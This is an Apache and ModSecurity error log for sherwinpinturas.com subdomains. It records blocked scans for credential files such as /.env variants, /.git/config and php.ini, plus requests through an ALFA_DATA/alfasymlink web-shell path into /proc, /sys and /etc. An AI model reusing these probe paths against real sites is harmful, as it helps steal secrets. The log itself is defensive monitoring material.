[Mon Oct 26 21:29:52.411619 2026] [security2:error] [pid 3098116:tid 3098116] [client 144.172.114.51:60726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_-kDS1e-yu7xYT1dr9KgAAAAk"]
[Mon Oct 26 21:29:52.411921 2026] [security2:error] [pid 3098116:tid 3098116] [client 144.172.114.51:60726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_-kDS1e-yu7xYT1dr9KgAAAAk"]
[Mon Oct 26 21:29:54.164578 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.231.181.240:45003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:29:58.148855 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.224.215.150:14513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:30:06.430503 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 18.213.70.100:42402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory3/subsystem/drivers_probe
[Mon Oct 26 21:30:06.518781 2026] [security2:error] [pid 3117428:tid 3117428] [client 144.172.114.51:58948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_-niWN_iofYZIHyv482AAAAAs"]
[Mon Oct 26 21:30:06.519047 2026] [security2:error] [pid 3117428:tid 3117428] [client 144.172.114.51:58948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_-niWN_iofYZIHyv482AAAAAs"]
[Mon Oct 26 21:30:06.519438 2026] [security2:error] [pid 3117428:tid 3117428] [client 144.172.114.51:58948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_-niWN_iofYZIHyv482AAAAAs"]
[Mon Oct 26 21:30:10.160252 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 107.20.224.184:44771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/cpu1/crash_notes
[Mon Oct 26 21:30:14.347507 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.71.203.206:4940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:30:14.481723 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_-pv9ZN9W71fUwv43RAwAAAAA"]
[Mon Oct 26 21:30:14.482010 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_-pv9ZN9W71fUwv43RAwAAAAA"]
[Mon Oct 26 21:30:14.482278 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_-pv9ZN9W71fUwv43RAwAAAAA"]
[Mon Oct 26 21:30:18.096632 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_-qv9ZN9W71fUwv43RBAAAAAA"]
[Mon Oct 26 21:30:18.096927 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_-qv9ZN9W71fUwv43RBAAAAAA"]
[Mon Oct 26 21:30:18.097272 2026] [security2:error] [pid 3122515:tid 3122515] [client 144.172.114.51:33534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_-qv9ZN9W71fUwv43RBAAAAAA"]
[Mon Oct 26 21:30:18.368413 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 50.16.72.185:56738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:30:26.162109 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 184.73.68.20:41248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:30:30.145316 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 98.83.72.38:26476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:30:54.214403 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.213.27.222:52890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:06.301018 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.168.238.50:46692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:14.163416 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 52.45.15.233:57630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 21:31:18.157789 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.152.163.42:27431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:26.484901 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.214.176.44:26238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:30.154847 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.152.163.42:4378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:34.300043 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.215.59.93:19312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:31:50.152327 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 3.210.29.96:10503] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/driver/cpu0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 21:32:02.162438 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.157.99.244:24632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:32:18.179177 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.70.123.241:52078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:32:22.166693 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.84.147.79:45517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:32:26.153550 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 52.204.81.148:30917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:32:28.836109 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 85.208.96.206:11498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/cache_dma
[Mon Oct 26 21:32:38.133244 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 98.83.10.183:8796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:32:54.139482 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.220.2.97:20162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:33:02.237525 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.197.178.107:19477] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:33:10.248866 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 23.23.99.55:8095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:33:18.225265 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 34.206.212.24:55559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:00/physical_node/driver/new_id
[Mon Oct 26 21:33:18.505234 2026] [security2:error] [pid 3117428:tid 3117428] [client 16.216.88.182:61440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at__XiWN_iofYZIHyv484gAAAAs"]
[Mon Oct 26 21:33:18.505742 2026] [security2:error] [pid 3117428:tid 3117428] [client 16.216.88.182:61440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at__XiWN_iofYZIHyv484gAAAAs"]
[Mon Oct 26 21:33:18.506026 2026] [security2:error] [pid 3117428:tid 3117428] [client 16.216.88.182:61440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at__XiWN_iofYZIHyv484gAAAAs"]
[Mon Oct 26 21:33:54.175672 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.206.65.8:31117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:33:54.879737 2026] [authz_core:error] [pid 3098114:tid 3098114] [client 206.189.142.244:58876] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:33:56.579315 2026] [authz_core:error] [pid 3117428:tid 3117428] [client 206.189.142.244:37130] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:34:02.175954 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 3.212.205.90:42523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/subsystem/drivers/processor/uevent
[Mon Oct 26 21:34:06.345048 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.3.104.214:43464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:34:10.295084 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 54.221.203.24:26298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/bind
[Mon Oct 26 21:34:16.546658 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at__mLChYJundcs5uwsplQAAAAQ"]
[Mon Oct 26 21:34:16.547039 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at__mLChYJundcs5uwsplQAAAAQ"]
[Mon Oct 26 21:34:16.547459 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at__mLChYJundcs5uwsplQAAAAQ"]
[Mon Oct 26 21:34:17.048182 2026] [security2:error] [pid 3117428:tid 3117428] [client 45.148.10.122:48540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at__mSWN_iofYZIHyv485QAAAAs"]
[Mon Oct 26 21:34:17.048419 2026] [security2:error] [pid 3117428:tid 3117428] [client 45.148.10.122:48540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at__mSWN_iofYZIHyv485QAAAAs"]
[Mon Oct 26 21:34:17.048722 2026] [security2:error] [pid 3117428:tid 3117428] [client 45.148.10.122:48540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at__mSWN_iofYZIHyv485QAAAAs"]
[Mon Oct 26 21:34:17.329464 2026] [security2:error] [pid 3128624:tid 3128624] [client 45.148.10.122:48550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at__mS-AKBd00cmosRNImQAAAAE"]
[Mon Oct 26 21:34:17.329730 2026] [security2:error] [pid 3128624:tid 3128624] [client 45.148.10.122:48550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at__mS-AKBd00cmosRNImQAAAAE"]
[Mon Oct 26 21:34:17.330059 2026] [security2:error] [pid 3128624:tid 3128624] [client 45.148.10.122:48550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at__mS-AKBd00cmosRNImQAAAAE"]
[Mon Oct 26 21:34:18.374546 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48570] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at__mrChYJundcs5uwsplgAAAAQ"]
[Mon Oct 26 21:34:18.374802 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at__mrChYJundcs5uwsplgAAAAQ"]
[Mon Oct 26 21:34:18.375079 2026] [security2:error] [pid 3132187:tid 3132187] [client 45.148.10.122:48570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at__mrChYJundcs5uwsplgAAAAQ"]
[Mon Oct 26 21:34:22.163678 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.235.191.179:31702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:34:38.382424 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.208.11.93:41962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:34:46.164301 2026] [ssl:error] [pid 3122519:tid 3122519] (5)Input/output error: [client 50.19.221.48:11878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:34:50.454489 2026] [security2:error] [pid 3122515:tid 3122515] [client 43.133.14.237:36336] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases1/"] [unique_id "at__uv9ZN9W71fUwv43REgAAAAA"]
[Mon Oct 26 21:35:10.165388 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 98.82.63.147:5812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:14.255595 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.195.145.102:1364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:18.162854 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.71.46.142:16923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:30.209104 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 23.22.105.143:45011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:38.142530 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 52.200.54.136:43755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/intel_xhci_usb_sw/uevent
[Mon Oct 26 21:35:46.155132 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.215.210.112:45809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:50.175974 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.91.122.193:31036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:35:59.789502 2026] [authz_core:error] [pid 3130075:tid 3130075] [client 170.64.200.143:60176] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
